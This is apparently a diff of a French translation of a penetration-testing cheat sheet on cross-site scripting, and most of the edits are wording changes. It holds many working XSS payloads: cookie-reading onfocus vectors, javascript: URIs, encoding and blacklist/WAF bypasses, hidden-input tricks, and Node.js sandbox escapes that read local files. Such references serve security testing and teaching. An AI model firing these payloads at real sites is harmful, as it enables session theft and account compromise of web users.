<script>alert(1)</script>
|
<script>alert(1)</script>
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
Mais, si la liste blanche/noire des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
|
Mais, si la liste noire/blanche des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
|
||||||
Une fois que vous avez **repéré quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
Une fois que vous avez **repéré quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||||
|
|
||||||
### Forcer de manière brutale les balises/événements
|
### Forçage brutal des balises/événements
|
||||||
|
|
||||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||||
|
|
||||||
### Balises personnalisées
|
### Balises personnalisées
|
||||||
|
|
||||||
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page se **concentre sur cet objet** et **exécute** le code :
|
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page se **concentre sur cet objet** et **exécute** le code:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
|
@ -224,7 +224,7 @@ onerror=alert`1`
|
||||||
//Use more than one
|
//Use more than one
|
||||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||||
```
|
```
|
||||||
### Contournement de longueur (petits XSS)
|
### Contournement de la longueur (petits XSS)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Plus de petits XSS pour différents environnements** charge utile [**peut être trouvée ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
|
**Plus de petits XSS pour différents environnements** charge utile [**peut être trouvée ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
|
||||||
|
@ -249,10 +249,10 @@ Si vous pensez simplement que **il est impossible de créer une balise HTML avec
|
||||||
|
|
||||||
## Injection à l'intérieur de la balise HTML
|
## Injection à l'intérieur de la balise HTML
|
||||||
|
|
||||||
### À l'intérieur de la balise/échappement de la valeur de l'attribut
|
### À l'intérieur de la balise/échapper de la valeur de l'attribut
|
||||||
|
|
||||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
|
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **s'échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||||
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
|
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
|
@ -327,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**Endroits où vous pouvez injecter ces protocoles**
|
**Endroits où vous pouvez injecter ces protocoles**
|
||||||
|
|
||||||
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'attribut `src` (mais pas `<img`)
|
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
|
||||||
```markup
|
```markup
|
||||||
<a href="javascript:alert(1)">
|
<a href="javascript:alert(1)">
|
||||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||||
|
@ -353,7 +353,7 @@ _**Dans ce cas, le codage HTML et le tour de codage Unicode de la section préc
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
De plus, il y a une **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez que **elle est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
De plus, il y a une **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez que **elle est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
|
@ -376,8 +376,6 @@ Vous pouvez utiliser l'**encodage hexadécimal** et **octal** à l'intérieur de
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### Reverse tab nabbing
|
### Reverse tab nabbing
|
||||||
|
|
||||||
### Capture d'onglet inverse
|
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
|
@ -387,7 +385,7 @@ Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbi
|
||||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### sur le contournement des gestionnaires d'événements
|
### Contournement des gestionnaires d'événements
|
||||||
|
|
||||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
|
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
|
||||||
Au cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
|
Au cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
|
||||||
|
@ -407,7 +405,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS dans les "Balises non exploitables" (input caché, lien, canonique, meta)
|
### XSS dans les "Balises non exploitables" (input caché, lien, canonique, meta)
|
||||||
|
|
||||||
À partir de [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), il est désormais possible d'abuser des inputs cachés avec :
|
À partir de [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des inputs cachés avec :**
|
||||||
```html
|
```html
|
||||||
<button popvertarget="x">Click me</button>
|
<button popvertarget="x">Click me</button>
|
||||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||||
|
@ -420,7 +418,7 @@ Et dans les **balises meta** :
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur :
|
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition que vous puissiez **persuader** la **victime** de presser la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur :
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -438,11 +436,11 @@ Plusieurs astuces utilisant différents encodages ont déjà été exposées dan
|
||||||
|
|
||||||
**Contournements pour les balises et attributs HTML**
|
**Contournements pour les balises et attributs HTML**
|
||||||
|
|
||||||
Lisez les [Contournements de liste noire de la section précédente](./#blacklist-bypasses).
|
Consultez les [Contournements de liste noire de la section précédente](./#blacklist-bypasses).
|
||||||
|
|
||||||
**Contournements pour le code JavaScript**
|
**Contournements pour le code JavaScript**
|
||||||
|
|
||||||
Lisez les [Contournements de liste noire JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
|
Consultez les [Contournements de liste noire JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
|
||||||
|
|
||||||
### Gadgets CSS
|
### Gadgets CSS
|
||||||
|
|
||||||
|
@ -464,21 +462,21 @@ Maintenant, vous pouvez modifier notre lien et le mettre sous la forme
|
||||||
|
|
||||||
Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||||
|
|
||||||
## Injection à l'intérieur du code JavaScript
|
## Injection dans le code JavaScript
|
||||||
|
|
||||||
Dans ce cas, votre **entrée** sera **réfléchie à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
|
Dans ce cas, votre **entrée** sera **réfléchie à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
|
||||||
|
|
||||||
### Échapper à la balise \<script>
|
### Échapper à la balise \<script>
|
||||||
|
|
||||||
Si votre code est inséré dans `<script> [...] var input = 'reflected data' [...] </script>`, vous pouvez facilement **échapper à la fermeture de la balise `<script>`** :
|
Si votre code est inséré dans `<script> [...] var input = 'données réfléchies' [...] </script>`, vous pourriez facilement **échapper à la fermeture de la balise `<script>`** :
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Notez que dans cet exemple, nous n'avons même pas fermé l'apostrophe unique, mais ce n'est pas nécessaire car le navigateur effectue d'abord l'analyse HTML pour identifier les éléments de la page, y compris les blocs de script, et n'effectue que plus tard l'analyse JavaScript pour comprendre et exécuter les scripts intégrés.
|
Notez que dans cet exemple, nous n'avons même pas fermé l'apostrophe unique. Cela est dû au fait que l'analyse HTML est effectuée en premier par le navigateur, ce qui implique l'identification des éléments de la page, y compris les blocs de script. L'analyse du JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
|
||||||
|
|
||||||
### À l'intérieur du code JS
|
### À l'intérieur du code JS
|
||||||
|
|
||||||
Si `<>` sont en train d'être nettoyés, vous pouvez toujours **échapper la chaîne** là où votre entrée est **localisée** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté:
|
Si `<>` sont en train d'être nettoyés, vous pouvez toujours échapper la chaîne là où votre entrée est située et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car en cas d'erreurs, le code JS ne sera pas exécuté:
|
||||||
```
|
```
|
||||||
'-alert(document.domain)-'
|
'-alert(document.domain)-'
|
||||||
';alert(document.domain)//
|
';alert(document.domain)//
|
||||||
|
@ -487,7 +485,7 @@ Si `<>` sont en train d'être nettoyés, vous pouvez toujours **échapper la cha
|
||||||
### Modèles de chaînes de caractères \`\`
|
### Modèles de chaînes de caractères \`\`
|
||||||
|
|
||||||
Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||||
|
|
||||||
Cela peut être **abusé** en utilisant :
|
Cela peut être **abusé** en utilisant :
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -507,7 +505,7 @@ loop``````````````
|
||||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||||
```
|
```
|
||||||
### Encodage Unicode pour l'exécution de JS
|
### Encodage Unicode de l'exécution de JS
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
|
@ -559,7 +557,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||||
```
|
```
|
||||||
**Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)**
|
**Sauts de ligne JavaScript (à partir de** [**l'astuce de saut de ligne JavaScript**](./#javascript-new-lines) **)**
|
||||||
```javascript
|
```javascript
|
||||||
//Javascript interpret as new line these chars:
|
//Javascript interpret as new line these chars:
|
||||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||||
|
@ -732,7 +730,7 @@ top[8680439..toString(30)](1)
|
||||||
## **Vulnérabilités DOM**
|
## **Vulnérabilités DOM**
|
||||||
|
|
||||||
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
|
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
|
||||||
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:**
|
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
|
@ -754,7 +752,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en U
|
||||||
### Contournement Ruby-On-Rails
|
### Contournement Ruby-On-Rails
|
||||||
|
|
||||||
En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||||
Par exemple, si vous envoyez la charge utile :
|
Par exemple ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
|
@ -762,11 +760,7 @@ La paire "Clé","Valeur" sera renvoyée comme ceci :
|
||||||
```
|
```
|
||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||||
```
|
```
|
||||||
Ensuite, l'attribut onfocus sera inséré :
|
Ensuite, l'attribut onfocus sera inséré et une XSS se produira.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (107).png>)
|
|
||||||
|
|
||||||
Une XSS se produit.
|
|
||||||
|
|
||||||
### Combinaisons spéciales
|
### Combinaisons spéciales
|
||||||
```markup
|
```markup
|
||||||
|
@ -800,9 +794,9 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS avec injection d'en-tête dans une réponse 302
|
### XSS avec injection d'en-tête dans une réponse 302
|
||||||
|
|
||||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc un payload de script entre sites est inutile.
|
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc juste une charge utile de script entre sites est inutile.
|
||||||
|
|
||||||
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.\
|
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter la charge utile XSS à l'intérieur du corps.\
|
||||||
Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
|
Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
|
||||||
|
|
||||||
### Uniquement des lettres, des chiffres et des points
|
### Uniquement des lettres, des chiffres et des points
|
||||||
|
@ -813,7 +807,7 @@ Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter**
|
||||||
|
|
||||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome affichera l'erreur suivante :
|
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome affichera l'erreur suivante :
|
||||||
|
|
||||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte du type MIME est activée.
|
||||||
|
|
||||||
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||||
```c
|
```c
|
||||||
|
@ -846,7 +840,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
La réponse est:
|
La réponse est:
|
||||||
|
|
||||||
* **module** (par défaut, rien à expliquer)
|
* **module** (par défaut, rien à expliquer)
|
||||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
|
* [**webbundle**](https://web.dev/web-bundles/): Les Web Bundles sont une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
{
|
{
|
||||||
|
@ -893,7 +887,7 @@ Ce comportement a été utilisé dans [**cette explication**](https://github.com
|
||||||
```
|
```
|
||||||
### Types de contenu Web pour XSS
|
### Types de contenu Web pour XSS
|
||||||
|
|
||||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||||
|
|
||||||
* text/html
|
* text/html
|
||||||
* application/xhtml+xml
|
* application/xhtml+xml
|
||||||
|
@ -918,7 +912,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es
|
||||||
```
|
```
|
||||||
### Modèles de Remplacement Spéciaux
|
### Modèles de Remplacement Spéciaux
|
||||||
|
|
||||||
Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))``
|
Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaîne spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))``
|
||||||
|
|
||||||
Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||||
|
|
||||||
|
@ -961,7 +955,7 @@ constructor(source)()
|
||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cette explication**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
|
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cette analyse**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
|
||||||
|
|
||||||
* En utilisant import()
|
* En utilisant import()
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -970,7 +964,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
```
|
```
|
||||||
* Accès indirect à `require`
|
* Accès indirect à `require`
|
||||||
|
|
||||||
[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci :
|
[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci:
|
||||||
```javascript
|
```javascript
|
||||||
(function (exports, require, module, __filename, __dirname) {
|
(function (exports, require, module, __filename, __dirname) {
|
||||||
// our actual module code
|
// our actual module code
|
||||||
|
@ -982,6 +976,8 @@ Par conséquent, si à partir de ce module nous pouvons **appeler une autre fonc
|
||||||
```javascript
|
```javascript
|
||||||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
De manière similaire à l'exemple précédent, il est possible d'utiliser des **gestionnaires d'erreurs** pour accéder à l'**enveloppe** du module et obtenir la fonction **`require`**:
|
